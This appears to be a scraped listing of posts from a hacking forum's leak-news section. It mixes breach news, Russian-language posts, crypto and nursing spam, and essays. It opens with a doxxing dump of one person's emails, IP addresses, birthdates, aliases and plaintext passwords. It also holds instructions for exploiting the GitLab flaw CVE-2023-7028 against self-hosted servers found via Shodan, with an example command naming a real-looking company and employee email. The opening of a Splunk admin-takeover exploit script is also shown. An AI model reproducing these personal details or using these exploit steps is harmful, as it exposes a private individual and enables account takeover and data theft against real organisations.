Have you heard about the spy agency that has leaked data? Has already been found and leaked around?
You are using an out of date browser. It may not display this or other websites correctly.
You should upgrade or use an alternative browser.
You should upgrade or use an alternative browser.
Leak News
News in the criminal world, information about leaks
Forum Prefix Filter
Filters
Show only:
Loading…
Sticky threads
858064991@qq.com
bfbf510a@azet.sk
bfbf510a@bol.com.br
bfbf510a@gmail.com
chrisxxbrisk14@gmail.com
221.124.203.221
1520510571
119.247.151.28
221.124.200.45
bfbf510a
97.86.240.17
hyperxchris
Hyperxchris
hyperxchris14
Nazism
Communism
Hail Hitler OOF
Chris Chow
Chris Kim
ChrisRozayy
ChrisChow12
+852
+852 Hong Kong HK
oCxLEGITo
-
-
-
1997 December 25
1989-09-09
39681873
+852 67** **57
Password:
kitakami007
Kitakami007
meisON9
meisON9!
meisON9!mkrk9898
mkrk9898
Mkrk9898
Mkrk9898kitakami007
hyperxchris
ufforlife
stevens3
phenomenal
Ufforlife!!
ufforlife14
Ufforlife14.
S9KHLvEQ9eG5n2auThm2+Q==
××××××××e▯
<3<3<3
ZeroClick attack
CVE-2023-7028
Gitlab access for universities worldwide and a growing number of companies.
Fork this script and execute with requiered infos
https://github.com/RandomRobbieBF/CVE-2023-7028
How to find Self-hosted Gitlab:
Shodan.io
Google dork with "gitlab" like: ethereum gitlab
Example:
python ./CVE-2023-7028.py -u https://gitlab.mintech.kr -t jakyung.ham@mintech.kr
You can found Big datas.
A decryptor for the Tortilla variant of the Babuk ransomware has been released by Cisco Talos, allowing victims targeted by the malware to regain access to their files.
The cybersecurity firm said the threat intelligence it shared with Dutch law enforcement authorities made it possible to arrest the threat actor behind the operations.
The encryption key has also been shared with Avast, which had previously released a decryptor for Babuk ransomware after its source code was leaked in September 2021. The updated decryptor can be accessed here [EXE file].
#!/usr/bin/env python3
#
# Exploit Title: Splunk 9.0.5 - admin account take over
# Author: [Redway Security](https://twitter.com/redwaysec))
# Discovery: [Santiago Lopez](https://twitter.com/santi_lopezz99)
#CVE: CVE-2023-32707
# Vendor Description: A low-privilege user who holds a role that has the `edit_user` capability assigned
# to it can escalate their privileges to that of the admin user by providing specially crafted web requests.
#
# Versions Affected: Splunk Enterprise **below** 9.0.5, 8.2.11, and 8.1.14.
#
import argparse
import requests
import random
import string
import base64
# ignore warnings
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Parse command-line arguments
parser =...
https://www.theguardian.com/uk-news/2023/dec/21/british-teenager-behind-gta-6-hack-receives-indefinite-hospital-order
https://www.bbc.com/news/technology-67663128
it seems like dehashed.com isn't making the free week anymore, can you relate?
https://www.databreaches.net/alleged-member-of-kelvin-security-arrested/
https://thehackernews.com/2023/09/microsoft-ai-researchers-accidentally.html
Title
👨💻Из-за ошибки в плагине, с 600 000 сайтов WordPress может произойти утечка!
🌐Более 600 000 сайтов, работающих на популярной CMS WordPress, оказались под угрозой из-за уязвимости в широко используемом плагине WP Fastest Cache. Этот плагин предназначен для ускорения загрузки страниц, но недавно была обнаружена серьёзная уязвимость типа SQL Injection.
🚨Уязвимость позволяет неавторизованным злоумышленникам получить доступ к базам данных сайтов. В базах данных WordPress хранится множество важных и конфиденциальных данных, включая информацию о пользователях, пароли учётных записей, настройки плагинов и тем.
🕵🏻♂️По оценкам исследователей, степень угрозы этой уязвимости варьируется от 6.1 до 9.8 баллов по шкале CVSS, что говорит о её...
Утверждения об утечке данных клиентов Альфа-банка — это фейк, заявили РБК в пресс-службе кредитной организации, комментируя сообщения, распространившиеся в телеграм-каналах.
В службе клиентской поддержки также сказали РБК, что информация об утечке не соответствует действительности. «Данные клиентов находятся под защитой», — подчеркнули в службе.
Airbus vendor data was posted on a popular English-language forum by supposedly the same attacker who infiltrated the FBI’s data-sharing network in 2022.
The attacker, who goes by the moniker “USDoD,” said they accessed European aerospace giant Airbus’ site by exploiting employee access from a Turkish Airline.
“This month, I got access to Airbus site using employee access from some Turkish airline, and this got me inside of a lot of stuff, plus their vendors' data, 3,200 records. It is their entire vendors’ data,” the attacker said.The leaked data supposedly includes Airbus vendors’ sensitive data such as names, addresses, phone numbers, email addresses, job titles, departments, and other information. The attacker said they would...
TransUnion is an American consumer credit reporting agency. TransUnion collects and aggregates information on over one billion individual consumers in over thirty countries, including “200 million files profiling nearly every credit-active consumer in the United States”.
A threat actor who goes by the moniker “USDoD” announced the leak of highly sensitive data allegedly stolen from the credit reporting agency. The leaked database, over 3GB in size, contains sensitive PII of about 58,505 people, all across the globe, including the America and Europe.
Source: https://securityaffairs.com/150968/data-breach/transunion-data-leak.html
🏠Хакеры обратились в Комиссию по ценным бумагам США с жалобой на MeridianLink.
👺В мире кибербезопасности произошел необычный инцидент: хакерская группировка BlackCat подала жалобу в Комиссию по ценным бумагам и биржам США (SEC) против компании MeridianLink, специализирующейся на разработке ПО. Поводом для жалобы стало нераскрытие компанией информации о кибератаке, в ходе которой были похищены данные.
💻Стоит уточнить, что новое правило SEC, требующее раскрывать информацию о кибератаках в течение четырех дней, вступит в силу только 15 декабря. Однако вымогатели решили использовать этот момент для оказания дополнительного давления на MeridianLink.
🔰Представители MeridianLink подтвердили факт атаки и заявили, что после ее обнаружения...
On November 13, 2023, Samsung Electronics (UK) Limited discovered a significant data breach affecting customers who made purchases on their online store between July 1, 2019, and June 30, 2020. The breach was attributed to the exploitation of a vulnerability in a third-party application.
The compromised information includes names, phone numbers, postal addresses, and email addresses of affected customers. Fortunately, Samsung has assured users that passwords and financial information have not been impacted.
This incident follows a previous breach in the U.S. where customer data, including names, contact @fbi_gov s, dates of birth, product registration data, and demographic information, was compromised. Notably, no Social Security or...
Директор ЦРУ знал, кто такой Эпштейн, когда встречался с ним. Мнение
Официальное объяснение пресс-секретаря ЦРУ о том, что директор американского разведывательного ведомства Уильям Бернс не знал кто такой влиятельный финансист и педофил Джеффери Эпштейн, когда встречался с ним, назвал неправдоподобным американский политический обозреватель Саагар Энджети, выступая 1 мая на интернет-передаче Breaking Points.
Как заявила пресс-служба ЦРУ, Бернс, который в 2014 году был заместителем госсекретаря США, собирался переходить с госслужбы в частный сектор и трижды встречался тогда с Эпштейном, зная только, что он занимался финансами, и что он мог бы быть полезными контактом. Ничего про выстроенную Эпштейном элитную международную педофильскую...
Директор ЦРУ посещал педофильский притон
Информация из дневника попала в распоряжение ежедневной американской деловой газеты The Wall Street Journal. И теперь элита Нью-Йорка пребывает в смятении: как бы не засветиться в столь неприглядной истории! Еще совсем недавно представители бомонда заискивали перед финансистом Джеффри Эпштейном, а потом с облегчением вздохнули, когда с ним расправились в нью-йоркской тюрьме, чтобы на суде тот не скомпрометировал «уважаемых граждан»
В статье рассказывается, с какой помпой Эпштейна принимали в одном из самых престижных университетов США - Бард-колледже в Ред-Хуке. Президент колледжа Леон Ботштейн пригласил Эпштейна к себе посетить концерт классической музыки. К ней почетный гость, в сущности...
A recent report from WithSecure has highlighted a surge in DarkGate malware infection attempts, targeting its Managed Detection and Response customers, notably in the U.K, the U.S., and India. As further analysis was conducted, two critical insights emerged: a Vietnamese connection and an intricate web of interlinked malware campaigns.
The Vietnamese Connection
Several findings pointed toward Vietnamese threat actors being a significant driving force behind these campaigns.
Multiple Vietnamese threat groups have been found to deploy info-stealer campaigns using Malware-as-a-Service (MaaS), honing in on specific sectors or groups. Their modus operandi displays notable similarities, with recurring themes in lures and delivery methods...
A new ongoing campaign dubbed EleKtra-Leak has set its eyes on exposed Amazon Web Service (AWS) identity and access management (IAM) credentials within public GitHub repositories to facilitate cryptojacking activities.
"As a result of this, the threat actor associated with the campaign was able to create multiple AWS Elastic Compute (EC2) instances that they used for wide-ranging and long-lasting cryptojacking operations," Palo Alto Networks Unit 42 researchers William Gamazo and Nathaniel Quist said in a technical report shared with The Hacker News.
The operation, active since at least December 2020, is designed to mine Monero from as many as 474 unique Amazon EC2 instances between August 30 and October 6, 2023.
A standout aspect...
do you play crypto sites like luckyfish and get faucet play with site with free rain but you can also earn by depositing and join the tournament
join this site with this link https://paradice.in/?c=@yaydacostu
Experience top-quality, reliable best nursing services in Amritsar. Unmatched patient care and dedicated medical assistance 24 hours available! Trust Vesta Elder Care for your family's health!
I once believed I could become a whistleblower akin to Snowden, stepping forward to uncover the hidden truths that the Taiwanese government dared not reveal to the world. I made efforts to connect with a couple of respected journalists. They displayed considerable passion and interest in the coverage, but due to the prevailing political climate and cultural differences, none of them could ultimately assist me in completing the reporting projects. I fully understand their concerns, as exposing genuine stories in the current political atmosphere and public opinion context would undoubtedly entail immense pressure.
My country has long been depicted as a staunch ally of liberal and democratic societies, a defender against authoritarian...
Apathy to data breaches and privacy erosion enables a dystopian reality, with a vanishing line between public and private life. Are we heading towards digital totalitarianism?
Totalitarianism is the erasure between private and public life, as per Hannah Arendt. Any secret that just shouldn’t be there immediately becomes overgrown with conspiracy theories, and the exposure of confidential information becomes the story itself. These are arguments that American historian Timothy Snyder is making in a chapter of his book On Tyranny.
Snyder takes aim at news media reporting, saying that we’re much worse than fashion or sports journalists for making the exposure of sensitive and private material into a breaking news story. Snyder’s book...